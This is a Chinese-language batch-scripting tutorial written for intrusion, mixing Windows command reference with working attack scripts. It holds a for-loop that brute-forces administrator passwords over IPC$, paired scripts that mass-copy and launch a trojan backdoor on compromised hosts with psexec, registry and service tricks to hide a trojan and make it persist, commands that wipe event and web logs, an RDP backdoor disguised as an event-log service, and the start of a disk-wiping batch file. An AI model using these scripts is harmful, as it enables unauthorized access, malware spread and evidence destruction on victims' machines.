Sample：@Rem Here is the description. <br />
<br />
5.Pause 命令 <br />
运行 Pause 命令时，将显示下面的消息： <br />
Press any key to continue . . . <br />
Sample： <br />
@echo off <br />
:begin <br />
copy a:*.* d：back <br />
echo Please put a new disk into driver A <br />
pause <br />
goto begin <br />
在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。 <br />
<br />
6.Call 命令 <br />
从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。 <br />
语法 <br />
call [Drive:][Path] FileName [BatchParameters] [:label [arguments] <br />
参数 <br />
[Drive:}[Path] FileName <br />
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。 <br />
<br />
7.start 命令 <br />
调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。 <br />
入侵常用参数： <br />
MIN 开始时窗口最小化 <br />
SEPARATE 在分开的空间内开始 16 位 Windows 程序 <br />
HIGH 在 HIGH 优先级类别开始应用程序 <br />
REALTIME 在 REALTIME 优先级类别开始应用程序 <br />
WAIT 启动应用程序并等候它结束 <br />
parameters 这些为传送到命令/程序的参数 <br />
执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。 <br />
8.choice 命令 <br />
choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234&#8230;&#8230; <br />
如: choice /c:dme defrag,mem,end <br />
将显示 <br />
defrag,mem,end[D,M,E]? <br />
Sample： <br />
Sample.bat的内容如下: <br />
@echo off <br />
choice /c:dme defrag,mem,end <br />
if errorlevel 3 goto defrag （应先判断数值最高的错误码） <br />
if errorlevel 2 goto mem <br />
if errotlevel 1 goto end <br />
<br />
:defrag <br />
c:dosdefrag <br />
goto end <br />
:mem <br />
mem <br />
goto end <br />
:end <br />
echo good bye <br />
<br />
此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。 <br />
<br />
9.If 命令 <br />
<br />
if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式: <br />
1、if "参数" == "字符串" 待执行的命令 <br />
参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号） <br />
如if "%1"=="a" format a: <br />
if {%1}=={} goto noparms <br />
if {%2}=={} goto noparms <br />
<br />
2、if exist 文件名 待执行的命令 <br />
如果有指定的文件，则条件成立，运行命令，否则运行下一句。 <br />
如if exist config.sys edit config.sys <br />
<br />
3、if errorlevel / if not errorlevel 数字 待执行的命令 <br />
如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。 <br />
如if errorlevel 2 goto x2 <br />
DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。 <br />
<br />
10.for 命令 <br />
for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。 <br />
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable <br />
<br />
for {%variable|%%variable} in (set) do command [ CommandLineOptions] <br />
%variable 指定一个单一字母可替换的参数。 <br />
(set) 指定一个或一组文件。可以使用通配符。 <br />
command 指定对每个文件执行的命令。 <br />
command-parameters 为特定命令指定参数或命令行开关。 <br />
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable <br />
而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I <br />
<br />
如果命令扩展名被启用，下列额外的 FOR 命令格式会受到 <br />
支持: <br />
<br />
FOR /D %variable IN (set) DO command [command-parameters] <br />
<br />
如果集中包含通配符，则指定与目录名匹配，而不与文件 <br />
名匹配。 <br />
<br />
FOR /R [drive:]path] %variable IN (set) DO command [command- <br />
<br />
检查以 [drive:]path 为根的目录树，指向每个目录中的 <br />
FOR 语句。如果在 /R 后没有指定目录，则使用当前 <br />
目录。如果集仅为一个单点(.)字符，则枚举该目录树。 <br />
<br />
FOR /L %variable IN (start,step,end) DO command [command-para <br />
<br />
该集表示以增量形式从开始到结束的一个数字序列。 <br />
因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生 <br />
序列 (5 4 3 2 1)。 <br />
<br />
FOR /F ["options"] %variable IN (file-set) DO command <br />
FOR /F ["options"] %variable IN ("string") DO command <br />
FOR /F ["options"] %variable IN ('command') DO command <br />
<br />
或者，如果有 usebackq 选项: <br />
<br />
FOR /F ["options"] %variable IN (file-set) DO command <br />
FOR /F ["options"] %variable IN ("string") DO command <br />
FOR /F ["options"] %variable IN ('command') DO command <br />
<br />
filenameset 为一个或多个文件名。继续到 filenameset 中的 <br />
下一个文件之前，每份文件都已被打开、读取并经过处理。 <br />
处理包括读取文件，将其分成一行行的文字，然后将每行 <br />
解析成零或更多的符号。然后用已找到的符号字符串变量值 <br />
调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开 <br />
的第一个空白符号。跳过空白行。您可通过指定可选 "options" <br />
参数替代默认解析操作。这个带引号的字符串包括一个或多个 <br />
指定不同解析选项的关键字。这些关键字为: <br />
<br />
eol=c - 指一个行注释字符的结尾(就一个) <br />
skip=n - 指在文件开始时忽略的行数。 <br />
delims=xxx - 指分隔符集。这个替换了空格和跳格键的 <br />
默认分隔符集。 <br />
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代 <br />
的 for 本身。这会导致额外变量名称的 <br />
格式为一个范围。通过 nth 符号指定 m <br />
符号字符串中的最后一个字符星号， <br />
那么额外的变量将在最后一个符号解析之 <br />
分配并接受行的保留文本。 <br />
usebackq - 指定新语法已在下类情况中使用: <br />
在作为命令执行一个后引号的字符串并且 <br />
引号字符为文字字符串命令并允许在 fi <br />
中使用双引号扩起文件名称。 <br />
<br />
sample1: <br />
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command <br />
<br />
会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将 <br />
每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或 <br />
空格定界符号。请注意，这个 for 程序体的语句引用 %i 来 <br />
取得第二个符号，引用 %j 来取得第三个符号，引用 %k <br />
来取得第三个符号后的所有剩余符号。对于带有空格的文件 <br />
名，您需要用双引号将文件名括起来。为了用这种方式来使 <br />
用双引号，您还需要使用 usebackq 选项，否则，双引号会 <br />
被理解成是用作定义某个要分析的字符串的。 <br />
<br />
%i 专门在 for 语句中得到说明，%j 和 %k 是通过 <br />
tokens= 选项专门得到说明的。您可以通过 tokens= 一行 <br />
指定最多 26 个符号，只要不试图说明一个高于字母 'z' 或 <br />
'Z' 的变量。请记住，FOR 变量是单一字母、分大小写和全局的； <br />
同时不能有 52 个以上都在使用中。 <br />
<br />
您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是， <br />
用单引号将括号之间的 filenameset 括起来。这样，该字符 <br />
串会被当作一个文件中的一个单一输入行。 <br />
<br />
最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将 <br />
括号之间的 filenameset 变成一个反括字符串。该字符串会 <br />
被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进 <br />
内存，并被当作文件分析。因此，以下例子: <br />
<br />
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i <br />
<br />
会枚举当前环境中的环境变量名称。 <br />
<br />
另外，FOR 变量参照的替换已被增强。您现在可以使用下列 <br />
选项语法: <br />
<br />
~I - 删除任何引号(")，扩充 %I <br />
%~fI - 将 %I 扩充到一个完全合格的路径名 <br />
%~dI - 仅将 %I 扩充到一个驱动器号 <br />
%~pI - 仅将 %I 扩充到一个路径 <br />
%~nI - 仅将 %I 扩充到一个文件名 <br />
%~xI - 仅将 %I 扩充到一个文件扩展名 <br />
%~sI - 扩充的路径只含有短名 <br />
%~aI - 将 %I 扩充到文件的文件属性 <br />
%~tI - 将 %I 扩充到文件的日期/时间 <br />
%~zI - 将 %I 扩充到文件的大小 <br />
%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充 <br />
到找到的第一个完全合格的名称。如果环境变量 <br />
未被定义，或者没有找到文件，此组合键会扩充 <br />
空字符串 <br />
<br />
可以组合修饰符来得到多重结果: <br />
<br />
%~dpI - 仅将 %I 扩充到一个驱动器号和路径 <br />
%~nxI - 仅将 %I 扩充到一个文件名和扩展名 <br />
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名 <br />
%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充 <br />
到找到的第一个驱动器号和路径。 <br />
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR <br />
<br />
在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法 <br />
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名 <br />
比较易读，而且避免与不分大小写的组合键混淆。 <br />
<br />
以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。 <br />
<br />
sample2： <br />
<br />
利用For命令来实现对一台目标Win2k主机的暴力密码破解。 <br />
我们用net use \ipipc$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下密码。 <br />
最主要的命令是一条：for /f i% in (dict.txt) do net use \ipipc$ "i%" /u:"administrator" <br />
用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令－－ <br />
for /f i%% in (dict.txt) do net use \ipipc$ "i%%" /u:"administrator"|find ":命令成功完成"&gt;&gt;D:ok.txt ，这样就ko了。 <br />
<br />
sample3： <br />
<br />
你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。 <br />
<br />
主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable） <br />
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k <br />
tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。 <br />
而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。 <br />
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。 <br />
代码雏形： <br />
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- <br />
@echo off <br />
@if "%1"=="" goto usage <br />
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k <br />
@goto end <br />
:usage <br />
@echo run this batch in dos modle.or just double-click it. <br />
:end <br />
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- <br />
<br />
<br />
------------------- cut here then save as a batchfile(I call it door.bat) ----------------------------- <br />
@net use \%1ipc$ %3 /u:"%2" <br />
@if errorlevel 1 goto failed <br />
@echo Trying to establish the IPC$ connection &#8230;&#8230;&#8230;&#8230;OK <br />
@copy windrv32.exe\%1admin$system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PWD %3 &gt;&gt;ko.txt <br />
@psexec \%1 c:winntsystem32windrv32.exe <br />
@psexec \%1 net start windrv32 &amp;&amp; if not errorlevel 1 echo %1 Backdoored &gt;&gt;ko.txt <br />
:failed <br />
@echo Sorry can not connected to the victim. <br />
----------------- cut here then save as a batchfile(I call it door.bat) -------------------------------- <br />
这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一目录下.批处理内容 <br />
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究. <br />
<br />
二.如何在批处理文件中使用参数 <br />
批处理中可以使用参数，一般从1%到 9%这九个，当有多个参数时需要用shift来移动，这种情况并不多见，我们就不考虑它了。 <br />
sample1：fomat.bat <br />
@echo off <br />
if "%1"=="a" format a: <br />
:format <br />
@format a:/q/u/auotset <br />
@echo please insert another disk to driver A. <br />
@pause <br />
@goto fomat <br />
这个例子用于连续地格式化几张软盘，所以用的时候需在dos窗口输入fomat.bat a，呵呵,好像有点画蛇添足了～^_^ <br />
sample2： <br />
当我们要建立一个IPC$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令写入一个批处理，把肉鸡地ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令了。 <br />
@echo off <br />
@net use \1%ipc$ "2%" /u:"3%" 注意哦，这里PASSWORD是第二个参数。 <br />
@if errorlevel 1 echo connection failed <br />
怎么样,使用参数还是比较简单的吧？你这么帅一定学会了^_^. <br />
<br />
三.如何使用组合命令(Compound Command) <br />
<br />
1.&amp; <br />
<br />
Usage：第一条命令 &amp; 第二条命令 [&amp; 第三条命令...] <br />
<br />
用这种方法可以同时执行多条命令，而不管命令是否执行成功 <br />
<br />
Sample： <br />
C:&gt;dir z: &amp; dir c:Ex4rch <br />
The system cannot find the path specified. <br />
Volume in drive C has no label. <br />
Volume Serial Number is 0078-59FB <br />
<br />
Directory of c:Ex4rch <br />
<br />
2002-05-14 23:51 &lt;DIR&gt; . <br />
2002-05-14 23:51 &lt;DIR&gt; .. <br />
2002-05-14 23:51 14 sometips.gif <br />
<br />
2.&amp;&amp; <br />
<br />
Usage：第一条命令 &amp;&amp; 第二条命令 [&amp;&amp; 第三条命令...] <br />
<br />
用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令； <br />
<br />
Sample： <br />
C:&gt;dir z: &amp;&amp; dir c:Ex4rch <br />
The system cannot find the path specified. <br />
<br />
C:&gt;dir c:Ex4rch &amp;&amp; dir z: <br />
Volume in drive C has no label. <br />
Volume Serial Number is 0078-59FB <br />
<br />
Directory of c:Ex4rch <br />
<br />
2002-05-14 23:55 &lt;DIR&gt; . <br />
2002-05-14 23:55 &lt;DIR&gt; .. <br />
2002-05-14 23:55 14 sometips.gif <br />
1 File(s) 14 bytes <br />
2 Dir(s) 768,671,744 bytes free <br />
The system cannot find the path specified. <br />
<br />
在做备份的时候可能会用到这种命令会比较简单，如： <br />
dir file://192.168.0.1/database/backup.mdb &amp;&amp; copy file://192.168.0.1/database/backup.mdb E:backup <br />
如果远程服务器上存在backup.mdb文件，就执行copy命令，若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 ：） <br />
<br />
3.<br />
<br />
<br />
Usage：第一条命令 <br />
第二条命令 [<br />
第三条命令...] <br />
<br />
用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令； <br />
<br />
Sample： <br />
C:Ex4rch&gt;dir sometips.gif <br />
del sometips.gif <br />
Volume in drive C has no label. <br />
Volume Serial Number is 0078-59FB <br />
<br />
Directory of C:Ex4rch <br />
<br />
2002-05-14 23:55 14 sometips.gif <br />
1 File(s) 14 bytes <br />
0 Dir(s) 768,696,320 bytes free <br />
<br />
组合命令使用的例子： <br />
sample： <br />
@copy trojan.exe \%1admin$system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PASS %3 &gt;&gt;victim.txt <br />
<br />
四、管道命令的使用 <br />
<br />
1.| 命令 <br />
Usage：第一条命令 | 第二条命令 [| 第三条命令...] <br />
将第一条命令的结果作为第二条命令的参数来使用，记得在unix中这种方式很常见。 <br />
<br />
sample： <br />
time /t&gt;&gt;D:IP.log <br />
netstat -n -p tcp|find ":3389"&gt;&gt;D:IP.log <br />
start Explorer <br />
看出来了么？用于终端服务允许我们为用户自定义起始的程序，来实现让用户运行下面这个bat，以获得登录用户的IP。 <br />
<br />
2.&gt;、&gt;&gt;输出重定向命令 <br />
将一条命令或某个程序输出结果的重定向到特定文件中, &gt; 与 &gt;&gt;的区别在于，&gt;会清除调原有文件中的内容后写入指定文件，而&gt;&gt;只会追加内容到指定文件中，而不会改动其中的内容。 <br />
<br />
sample1： <br />
echo hello world&gt;c:hello.txt (stupid example?) <br />
<br />
sample2: <br />
时下DLL木马盛行，我们知道system32是个捉迷藏的好地方，许多木马都削尖了脑袋往那里钻，DLL马也不例外，针对这一点我们可以在安装好系统和必要的应用程序后，对该目录下的EXE和DLL文件作一个记录： <br />
运行CMD--转换目录到system32--dir *.exe&gt;exeback.txt &amp; dir *.dll&gt;dllback.txt, <br />
这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中, <br />
日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了. <br />
这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行: <br />
CMD--fc exeback.txt exeback1.txt&gt;diff.txt &amp; fc dllback.txt dllback1.txt&gt;diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好，如果有的话也不要直接DEL掉，先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里，若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。 <br />
<br />
3.&lt; 、&gt;&amp; 、&lt;&amp; <br />
&lt; 从文件中而不是从键盘中读入命令输入。 <br />
&gt;&amp; 将一个句柄的输出写入到另一个句柄的输入中。 <br />
&lt;&amp; 从一个句柄读取输入并将其写入到另一个句柄输出中。 <br />
这些并不常用，也就不多做介绍。 <br />
<br />
五.如何用批处理文件来操作注册表 <br />
<br />
在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性，这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件) <br />
关于注册表的操作，常见的是创建、修改、删除。 <br />
<br />
1.创建 <br />
创建分为两种，一种是创建子项(Subkey) <br />
<br />
我们创建一个文件，内容如下： <br />
<br />
Windows Registry Editor Version 5.00 <br />
<br />
[HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker] <br />
<br />
然后执行该脚本，你就已经在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下创建了一个名字为&#8220;hacker&#8221;的子项。 <br />
<br />
另一种是创建一个项目名称 <br />
那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下： <br />
<br />
Windows Registry Editor Version 5.00 <br />
<br />
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] <br />
"Invader"="Ex4rch" <br />
"Door"=C:\WINNT\system32\door.exe <br />
"Autodos"=dword:02 <br />
<br />
这样就在[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下 <br />
新建了:Invader、door、about这三个项目 <br />
Invader的类型是&#8220;String Value&#8221; <br />
door的类型是&#8220;REG SZ Value&#8221; <br />
Autodos的类型是&#8220;DWORD Value&#8221; <br />
<br />
<br />
2.修改 <br />
修改相对来说比较简单，只要把你需要修改的项目导出，然后用记事本进行修改，然后导入（regedit /s）即可。 <br />
<br />
3.删除 <br />
我们首先来说说删除一个项目名称，我们创建一个如下的文件： <br />
<br />
Windows Registry Editor Version 5.00 <br />
<br />
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] <br />
"Ex4rch"=- <br />
<br />
执行该脚本，[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下的"Ex4rch"就被删除了； <br />
<br />
我们再看看删除一个子项，我们创建一个如下的脚本： <br />
<br />
Windows Registry Editor Version 5.00 <br />
<br />
[-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] <br />
<br />
执行该脚本，[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]就已经被删除了。 <br />
<br />
相信看到这里，.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了，记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。 <br />
<br />
samlpe1:如上面的那个例子,如想生成如下注册表文件 <br />
Windows Registry Editor Version 5.00 <br />
<br />
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] <br />
"Invader"="Ex4rch" <br />
"door"=hex:255 <br />
"Autodos"=dword:000000128 <br />
只需要这样： <br />
@echo Windows Registry Editor Version 5.00&gt;&gt;Sample.reg <br />
<br />
@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]&gt;Sample.reg <br />
@echo "Invader"="Ex4rch"&gt;&gt;Sample.reg <br />
@echo "door"=5&gt;&gt;C:\WINNT\system32\door.exe&gt;&gt;Sample.reg <br />
@echo "Autodos"=dword:02&gt;&gt;Sample.reg <br />
<br />
<br />
samlpe2: <br />
我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe) <br />
@start windrv32.exe <br />
@attrib +h +r windrv32.exe <br />
@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] &gt;&gt;patch.dll <br />
@echo "windsnx "=- &gt;&gt;patch.dll <br />
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:winntsystem32windrv32.exe <br />
@regedit /s patch.dll <br />
@delete patch.dll <br />
<br />
@REM [删除DSNXDE在注册表中的启动项，用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读，并config为自启动] <br />
@REM 这样不是更安全^_^. <br />
<br />
六.精彩实例放送。 <br />
1.删除win2k/xp系统默认共享的批处理 <br />
------------------------ cut here then save as .bat or .cmd file --------------------------- <br />
<br />
@echo preparing to delete all the default shares.when ready pres any key. <br />
@pause <br />
@echo off <br />
<br />
:Rem check parameters if null show usage. <br />
if {%1}=={} goto :Usage <br />
<br />
:Rem code start. <br />
echo. <br />
echo ------------------------------------------------------ <br />
echo. <br />
echo Now deleting all the default shares. <br />
echo. <br />
net share %1$ /delete <br />
net share %2$ /delete <br />
net share %3$ /delete <br />
net share %4$ /delete <br />
net share %5$ /delete <br />
net share %6$ /delete <br />
net share %7$ /delete <br />
net share %8$ /delete <br />
net share %9$ /delete <br />
net stop Server <br />
net start Server <br />
echo. <br />
echo All the shares have been deleteed <br />
echo. <br />
echo ------------------------------------------------------ <br />
echo. <br />
echo Now modify the registry to change the system default properties. <br />
echo. <br />
echo Now creating the registry file <br />
echo Windows Registry Editor Version 5.00&gt; c:delshare.reg <br />
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]&gt;&gt; c:delshare.reg <br />
echo "AutoShareWks"=dword:00000000&gt;&gt; c:delshare.reg <br />
echo "AutoShareServer"=dword:00000000&gt;&gt; c:delshare.reg <br />
echo Nowing using the registry file to chang the system default properties. <br />
regedit /s c:delshare.reg <br />
echo Deleting the temprotarily files. <br />
del c:delshare.reg <br />
goto :END <br />
<br />
:Usage <br />
echo. <br />
echo ------------------------------------------------------ <br />
echo. <br />
echo ☆ A example for batch file ☆ <br />
echo ☆ [Use batch file to change the sysytem share properties.] ☆ <br />
echo. <br />
echo Author：Ex4rch <br />
echo Mail:Ex4rch@hotmail.com QQ:1672602 <br />
echo. <br />
echo Error：Not enough parameters <br />
echo. <br />
echo ☆ Please enter the share disk you wanna delete ☆ <br />
echo. <br />
echo For instance，to delete the default shares: <br />
echo delshare c d e ipc admin print <br />
echo. <br />
echo If the disklable is not as C: D: E: ，Please chang it youself. <br />
echo. <br />
echo example： <br />
echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command into ： <br />
echo delshare c d e x y z ipc admin print <br />
echo. <br />
echo *** you can delete nine shares once in a useing *** <br />
echo. <br />
echo ------------------------------------------------------ <br />
goto :EOF <br />
<br />
:END <br />
echo. <br />
echo ------------------------------------------------------ <br />
echo. <br />
echo OK,delshare.bat has deleted all the share you assigned. <br />
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com. <br />
echo <br />
echo. <br />
echo ------------------------------------------------------ <br />
echo. <br />
<br />
:EOF <br />
echo end of the batch file <br />
------------------------ cut here then save as .bat or .cmd file --------------------------- <br />
<br />
<br />
2.全面加固系统（给肉鸡打补丁）的批处理文件 <br />
------------------------ cut here then save as .bat or .cmd file --------------------------- <br />
<br />
@echo Windows Registry Editor Version 5.00 &gt;patch.dll <br />
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters] &gt;&gt;patch.dll <br />
<br />
@echo "AutoShareServer"=dword:00000000 &gt;&gt;patch.dll <br />
@echo "AutoShareWks"=dword:00000000 &gt;&gt;patch.dll <br />
@REM [禁止共享] <br />
<br />
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa] &gt;&gt;patch.dll <br />
@echo "restrictanonymous"=dword:00000001 &gt;&gt;patch.dll <br />
@REM [禁止匿名登录] <br />
<br />
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetBTParameters] &gt;&gt;patch.dll <br />
@echo "SMBDeviceEnabled"=dword:00000000 &gt;&gt;patch.dll <br />
@REM [禁止及文件访问和打印共享] <br />
<br />
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices@REMoteRegistry] &gt;&gt;patch.dll <br />
@echo "Start"=dword:00000004 &gt;&gt;patch.dll <br />
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSchedule] &gt;&gt;patch.dll <br />
@echo "Start"=dword:00000004 &gt;&gt;patch.dll <br />
@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon] &gt;&gt;patch.dll <br />
@echo "ShutdownWithoutLogon"="0" &gt;&gt;patch.dll <br />
@REM [禁止登录前关机] <br />
<br />
@echo "DontDisplayLastUserName"="1" &gt;&gt;patch.dll <br />
@REM [禁止显示前一个登录用户名称] <br />
@regedit /s patch.dll <br />
<br />
------------------------ cut here then save as .bat or .cmd file --------------------------- <br />
<br />
下面命令是清除肉鸡所有日志，禁止一些危险的服务，并修改肉鸡的terminnal service留跳后路。 <br />
@regedit /s patch.dll <br />
@net stop w3svc <br />
@net stop event log <br />
@del c:winntsystem32logfilesw3svc1*.* /f /q <br />
@del c:winntsystem32logfilesw3svc2*.* /f /q <br />
@del c:winntsystem32config*.event /f /q <br />
@del c:winntsystem32dtclog*.* /f /q <br />
@del c:winnt*.txt /f /q <br />
@del c:winnt*.log /f /q <br />
@net start w3svc <br />
@net start event log <br />
@rem [删除日志] <br />
<br />
<br />
@net stop lanmanserver /y <br />
@net stop Schedule /y <br />
@net stop RemoteRegistry /y <br />
@del patch.dll <br />
@echo The server has been patched,Have fun. <br />
@del patch.bat <br />
@REM [禁止一些危险的服务。] <br />
<br />
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp] &gt;&gt;patch.dll <br />
@echo "PortNumber"=dword:00002010 &gt;&gt;patch.dll <br />
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp &gt;&gt;patch.dll <br />
@echo "PortNumber"=dword:00002012 &gt;&gt;patch.dll <br />
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD] &gt;&gt;patch.dll <br />
@echo "Start"=dword:00000002 &gt;&gt;patch.dll <br />
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuService] &gt;&gt;patch.dll <br />
@echo "Start"=dword:00000002 &gt;&gt;patch.dll <br />
@echo "ErrorControl"=dword:00000001 &gt;&gt;patch.dll <br />
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00, &gt;&gt;patch.dll <br />
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65, &gt;&gt;patch.dll <br />
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 &gt;&gt;patch.dll <br />
@echo "ObjectName"="LocalSystem" &gt;&gt;patch.dll <br />
@echo "Type"=dword:00000010 &gt;&gt;patch.dll <br />
@echo "Description"="Keep record of the program and windows' message。" &gt;&gt;patch.dll <br />
@echo "DisplayName"="Microsoft EventLog" &gt;&gt;patch.dll <br />
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestermservice] &gt;&gt;patch.dll <br />
@echo "Start"=dword:00000004 &gt;&gt;patch.dll <br />
@copy c:winntsystem32termsrv.exe c:winntsystem32eventlog.exe <br />
@REM [修改3389连接，端口为8210(十六进制为00002012)，名称为Microsoft EventLog，留条后路] <br />
<br />
3.Hard Drive Killer Pro Version 4.0（玩批处理到这个水平真的不容易了。） <br />
------------------------ cut here then save as .bat or .cmd file --------------------------- <br />
@echo off <br />
rem This program is dedecated to a very special person that does not want to be named. <br />
:start <br />
cls <br />
echo PLEASE WAIT WHILE PROGRAM LOADS . . . <br />
